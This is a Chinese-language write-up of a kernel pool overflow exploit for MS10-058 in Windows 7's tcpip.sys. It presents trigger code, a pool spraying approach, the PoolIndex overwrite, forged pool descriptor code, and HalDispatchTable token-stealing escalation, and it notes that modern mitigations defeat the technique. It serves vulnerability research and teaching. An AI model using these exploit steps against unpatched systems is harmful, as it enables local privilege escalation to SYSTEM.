深入内核池:MS10-058漏洞利用解析

本文详细解析了Windows 7内核池溢出漏洞MS10-058的利用技术,包括漏洞触发原理、非分页池喷射、PoolIndex覆盖攻击及利用HalDispatchTable实现权限提升的全过程,适合内核安全研究人员阅读。

首次涉足内核池:MS10-058漏洞分析

日期:2014年3月11日
作者:Jeremy “__x86” Fetiveau
分类:漏洞利用
标签:逆向工程、漏洞利用、内核池、ms10-058、tcpip.sys

引言

我正在研究基于池的内存破坏漏洞,因此决定为Tarjei Mandt在首次演讲《Windows 7内核池利用》[3]中提到的漏洞编写PoC利用程序。我认为这是学习池溢出的良好练习。

目录

  • 引言
  • 前言
  • 触发漏洞
  • 池喷射
    • 非分页对象
    • nt!PoolHitTag
  • 利用技术
    • 基础结构
    • PoolIndex覆盖
    • 非分页池类型
    • 伪造池描述符
    • 注意事项
  • 载荷与清理
  • 致谢
  • 结论
  • 参考文献

前言

如需实验此漏洞,请阅读[1]并确保使用易受攻击的系统。我在Windows 7 32位虚拟机(tcpip.sys版本6.1.7600.16385)上测试了利用程序。微软相关公告为MS10-058,由Matthieu Suiche[2]发现,并被用作Tarjei Mandt论文[3]的示例。

触发漏洞

tcpip!IppSortDestinationAddresses中的整数溢出导致分配错误大小的非分页池内存块。以下是易受攻击版本与修复版本的差异对比。

漏洞本质上是整数溢出触发的池溢出:

1
2
3
4
5
6
7
8
9
IppSortDestinationAddresses(x,x,x)+29   imul    eax, 1Ch
IppSortDestinationAddresses(x,x,x)+2C   push    esi
IppSortDestinationAddresses(x,x,x)+2D   mov     esi, ds:__imp__ExAllocatePoolWithTag@12 
IppSortDestinationAddresses(x,x,x)+33   push    edi
IppSortDestinationAddresses(x,x,x)+34   mov     edi, 73617049h
IppSortDestinationAddresses(x,x,x)+39   push    edi   
IppSortDestinationAddresses(x,x,x)+3A   push    eax  
IppSortDestinationAddresses(x,x,x)+3B   push    ebx           
IppSortDestinationAddresses(x,x,x)+3C   call    esi ; ExAllocatePoolWithTag(x,x,x)

可通过WSAIoctl使用SIO_ADDRESS_LIST_SORT代码触发此漏洞:

1
WSAIoctl(sock, SIO_ADDRESS_LIST_SORT, pwn, 0x1000, pwn, 0x1000, &cb, NULL, NULL)

需要向函数传递SOCKET_ADDRESS_LIST指针(示例中的pwn)。该结构包含iAddressCount字段和相应数量的SOCKET_ADDRESS结构。通过设置较高的iAddressCount值,整数将回绕,触发错误大小的分配。我们几乎可以在这些结构中写入任意内容,仅有两个限制:

1
2
3
4
5
6
IppFlattenAddressList(x,x)+25   lea     ecx, [ecx+ebx*8]
IppFlattenAddressList(x,x)+28   cmp     dword ptr [ecx+8], 1Ch
IppFlattenAddressList(x,x)+2C   jz      short loc_4DCA9

IppFlattenAddressList(x,x)+9C   cmp     word ptr [edx], 17h
IppFlattenAddressList(x,x)+A0   jnz     short loc_4DCA2

复制操作将在检查失败时停止。这意味着每个SOCKET_ADDRESS的长度必须为0x1c,且每个套接字地址指向的SOCKADDR缓冲区必须以0x17字节开头。简而言之:

  1. 使IppSortDestinationAddresses+29处的乘法溢出
  2. IppSortDestinationAddresses+3e处获得过小的非分页池块
  3. IppFlattenAddressList+67处将用户控制的内存写入此块并任意溢出(需注意0x1c和0x17字节限制)

以下代码应触发蓝屏死机(BSOD)。现在的目标是在易受攻击的对象后放置对象并修改池元数据。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
WSADATA wd = {0};
SOCKET sock = 0;
SOCKET_ADDRESS_LIST *pwn = (SOCKET_ADDRESS_LIST*)malloc(sizeof(INT) + 4 * sizeof(SOCKET_ADDRESS));
DWORD cb;

memset(buffer,0x41,0x1c);
buffer[0] = 0x17;
buffer[1] = 0x00;
sa.lpSockaddr = (LPSOCKADDR)buffer;
sa.iSockaddrLength = 0x1c;
pwn->iAddressCount = 0x40000003;
memcpy(&pwn->Address[0],&sa,sizeof(_SOCKET_ADDRESS));
memcpy(&pwn->Address[1],&sa,sizeof(_SOCKET_ADDRESS));
memcpy(&pwn->Address[2],&sa,sizeof(_SOCKET_ADDRESS));
memcpy(&pwn->Address[3],&sa,sizeof(_SOCKET_ADDRESS));

WSAStartup(MAKEWORD(2,0), &wd)
sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
WSAIoctl(sock, SIO_ADDRESS_LIST_SORT, pwn, 0x1000, pwn, 0x1000, &cb, NULL, NULL)

池喷射

非分页对象

有多种对象可用于操纵非分页池,例如信号量对象或保留对象。

1
2
3
*8516b848 size:   48 previous size:   48  (Allocated) Sema 
*85242d08 size:   68 previous size:   68  (Allocated) User 
*850fcea8 size:   60 previous size:    8  (Allocated) IoCo

我们尝试溢出大小为0x1c倍数的池块。由于0x1c*3=0x54,驱动程序将请求0x54字节,因此获得0x60字节的块。这正是I/O完成保留对象的大小。要分配IoCo,只需使用对象类型IOCO调用NtAllocateReserveObject。要释放IoCo,只需关闭关联句柄,对象管理器将释放该对象。有关保留对象的更多信息,请阅读j00ru的文章[4]。

为了进行喷射,我们首先分配大量IoCo而不释放它们,以填充池中的现有空洞。然后,分配IoCo并制造0x60字节的空洞。这在我的PoC的sprayIoCo()函数中有所说明。现在,我们能够让IoCo池块跟随Ipas池块(您可能已经注意到,“Ipas”是tcpip驱动程序使用的标签)。因此,我们可以轻松破坏其池头。

nt!PoolHitTag

如果要调试特定的ExFreePoolWithTag调用并中断,会发现释放操作过多(尤其是在内核调试时非常慢)。解决此问题的简单方法是使用池命中标签。

1
2
3
4
5
6
7
8
9
ExFreePoolWithTag(x,x)+62F                  and     ecx, 7FFFFFFFh
ExFreePoolWithTag(x,x)+635                  mov     eax, ebx
ExFreePoolWithTag(x,x)+637                  mov     ebx, ecx
ExFreePoolWithTag(x,x)+639                  shl     eax, 3
ExFreePoolWithTag(x,x)+63C                  mov     [esp+58h+var_28], eax
ExFreePoolWithTag(x,x)+640                  mov     [esp+58h+var_2C], ebx
ExFreePoolWithTag(x,x)+644                  cmp     ebx, _PoolHitTag
ExFreePoolWithTag(x,x)+64A                  jnz     short loc_5180E9
ExFreePoolWithTag(x,x)+64C                  int     3               ; Trap to Debugger

如上述列表所示,nt!PoolHitTag与当前释放块的池标签进行比较。注意掩码:它允许使用原始标签(例如“oooo”而不是0xef6f6f6f)。顺便说一句,您不需要使用真实标签(例如,可以使用“ooo”代表“IoCo”)。现在您知道可以通过ed nt!PoolHitTag 'oooo'来调试利用程序。

利用技术

基础结构

由于池的内部结构在Tarjei Mandt的论文[3]中有详细说明,我仅简要介绍池描述符和池头结构。池内存分为几种类型,其中两种是分页池和非分页池。池由_POOL_DESCRIPTOR结构描述,如下所示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
0: kd> dt _POOL_TYPE
ntdll!_POOL_TYPE
   NonPagedPool = 0n0
   PagedPool = 0n1
0: kd> dt _POOL_DESCRIPTOR
nt!_POOL_DESCRIPTOR
   +0x000 PoolType         : _POOL_TYPE
   +0x004 PagedLock        : _KGUARDED_MUTEX
   +0x004 NonPagedLock     : Uint4B
   +0x040 RunningAllocs    : Int4B
   +0x044 RunningDeAllocs  : Int4B
   +0x048 TotalBigPages    : Int4B
   +0x04c ThreadsProcessingDeferrals : Int4B
   +0x050 TotalBytes       : Uint4B
   +0x080 PoolIndex        : Uint4B
   +0x0c0 TotalPages       : Int4B
   +0x100 PendingFrees     : Ptr32 Ptr32 Void
   +0x104 PendingFreeDepth : Int4B
   +0x140 ListHeads        : [512] _LIST_ENTRY

池描述符在称为ListHeads的空闲列表中引用空闲内存。PendingFrees字段引用等待释放到空闲列表的内存块。指向池描述符结构的指针存储在数组(如PoolVector(非分页)或ExpPagedPoolDescriptor(分页))中。每个内存块在实际数据之前包含一个头,即_POOL_HEADER。它提供块大小或所属池等信息。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
0: kd> dt _POOL_HEADER
nt!_POOL_HEADER
   +0x000 PreviousSize     : Pos 0, 9 Bits
   +0x000 PoolIndex        : Pos 9, 7 Bits
   +0x002 BlockSize        : Pos 0, 9 Bits
   +0x002 PoolType         : Pos 9, 7 Bits
   +0x000 Ulong1           : Uint4B
   +0x004 PoolTag          : Uint4B
   +0x004 AllocatorBackTraceIndex : Uint2B
   +0x006 PoolTagHash      : Uint2B

PoolIndex覆盖

此攻击的基本思想是破坏池头的PoolIndex字段。该字段在释放分页池块时用于确定其所属的池描述符,用作指向池描述符的指针数组的索引。因此,如果攻击者能够破坏它,可以使池管理器认为特定块属于另一个池描述符。例如,可以引用数组边界外的池描述符。

1
2
3
0: kd> dd ExpPagedPoolDescriptor
82947ae0  84835000 84836140 84837280 848383c0
82947af0  84839500 00000000 00000000 00000000

由于数组后总有一些空指针,可用于在用户分配的空页中伪造池描述符。

非分页池类型

为确定要使用的_POOL_DESCRIPTORExFreePoolWithTag获取适当的_POOL_HEADER并存储PoolType(watchMe)和BlockSize(var_3c)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
ExFreePoolWithTag(x,x)+465
ExFreePoolWithTag(x,x)+465  loc_517F01:
ExFreePoolWithTag(x,x)+465  mov     edi, esi
ExFreePoolWithTag(x,x)+467  movzx   ecx, word ptr [edi-6]
ExFreePoolWithTag(x,x)+46B  add     edi, 0FFFFFFF8h
ExFreePoolWithTag(x,x)+46E  movzx   eax, cx
ExFreePoolWithTag(x,x)+471  mov     ebx, eax
ExFreePoolWithTag(x,x)+473  shr     eax, 9
ExFreePoolWithTag(x,x)+476  mov     esi, 1FFh
ExFreePoolWithTag(x,x)+47B  and     ebx, esi
ExFreePoolWithTag(x,x)+47D  mov     [esp+58h+var_40], eax
ExFreePoolWithTag(x,x)+481  and     eax, 1
ExFreePoolWithTag(x,x)+484  mov     edx, 400h
ExFreePoolWithTag(x,x)+489  mov     [esp+58h+var_3C], ebx
ExFreePoolWithTag(x,x)+48D  mov     [esp+58h+watchMe], eax
ExFreePoolWithTag(x,x)+491  test    edx, ecx
ExFreePoolWithTag(x,x)+493  jnz     short loc_517F49

之后,如果ExpNumberOfNonPagedPools等于1,正确的池描述符将直接从nt!PoolVector[0]获取,不使用PoolIndex。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
ExFreePoolWithTag(x,x)+5C8  loc_518064:
ExFreePoolWithTag(x,x)+5C8  mov     eax, [esp+58h+watchMe]
ExFreePoolWithTag(x,x)+5CC  mov     edx, _PoolVector[eax*4]
ExFreePoolWithTag(x,x)+5D3  mov     [esp+58h+var_48], edx
ExFreePoolWithTag(x,x)+5D7  mov     edx, [esp+58h+var_40]
ExFreePoolWithTag(x,x)+5DB  and     edx, 20h
ExFreePoolWithTag(x,x)+5DE  mov     [esp+58h+var_20], edx
ExFreePoolWithTag(x,x)+5E2  jz      short loc_5180B6

ExFreePoolWithTag(x,x)+5E8  loc_518084:
ExFreePoolWithTag(x,x)+5E8  cmp     _ExpNumberOfNonPagedPools, 1
ExFreePoolWithTag(x,x)+5EF  jbe     short loc_5180CB

ExFreePoolWithTag(x,x)+5F1  movzx   eax, word ptr [edi]
ExFreePoolWithTag(x,x)+5F4  shr     eax, 9
ExFreePoolWithTag(x,x)+5F7  mov     eax, _ExpNonPagedPoolDescriptor[eax*4]
ExFreePoolWithTag(x,x)+5FE  jmp     short loc_5180C7

因此,必须使池管理器认为块位于分页内存中。

伪造池描述符

由于我们需要在空地址处伪造池描述符,只需分配该页并设置伪造的延迟空闲列表和伪造的ListHeads。

释放块时,如果延迟空闲列表包含至少0x20个条目,ExFreePoolWithTag将实际释放这些块并将其放入ListHeads的相应条目中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
*(PCHAR*)0x100 = (PCHAR)0x1208; 
*(PCHAR*)0x104 = (PCHAR)0x20;
for (i = 0x140; i < 0x1140; i += 8) {
    *(PCHAR*)i = (PCHAR)WriteAddress-4;
}
*(PINT)0x1200 = (INT)0x060c0a00;
*(PINT)0x1204 = (INT)0x6f6f6f6f;
*(PCHAR*)0x1208 = (PCHAR)0x0;
*(PINT)0x1260 = (INT)0x060c0a0c;
*(PINT)0x1264 = (INT)0x6f6f6f6f;

注意事项

有趣的是,此攻击在现代缓解措施下无法工作。原因包括:

  • PoolIndex字段的验证
  • 空页分配的防止
  • Windows 8引入了NonPagedPoolNX,应替代NonPagedPool类型
  • SMAP防止访问用户态数据
  • SMEP防止执行用户态代码

载荷与清理

写-写场景的经典目标是HalDispatchTable。只需将HalDispatchTable+4覆盖为指向我们的载荷(即setupPayload())的指针。完成后,只需将指针恢复为hal!HaliQuerySystemInformation(否则可能导致崩溃)。

既然能够从内核态执行任意代码,只需使用PsGetCurrentProcess()获取攻击进程的_EPROCESS,并遍历使用ActiveProcessLinks字段的进程列表,直到遇到ImageFileName为“System”的进程。然后将攻击进程的访问令牌替换为系统进程的访问令牌。注意,此利用程序的懒惰作者硬编码了几个偏移量:)。

这在payload()中有所说明。

致谢

特别感谢我的朋友@0vercl0k的审阅和帮助!

结论

希望您喜欢本文。如需了解更多信息,请查阅Tarjei Mandt、Zhenhua Liu和Nikita Tarakanov的最新论文(或等待其他文章;)。

您可以在我的新github[5]上找到我的代码

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计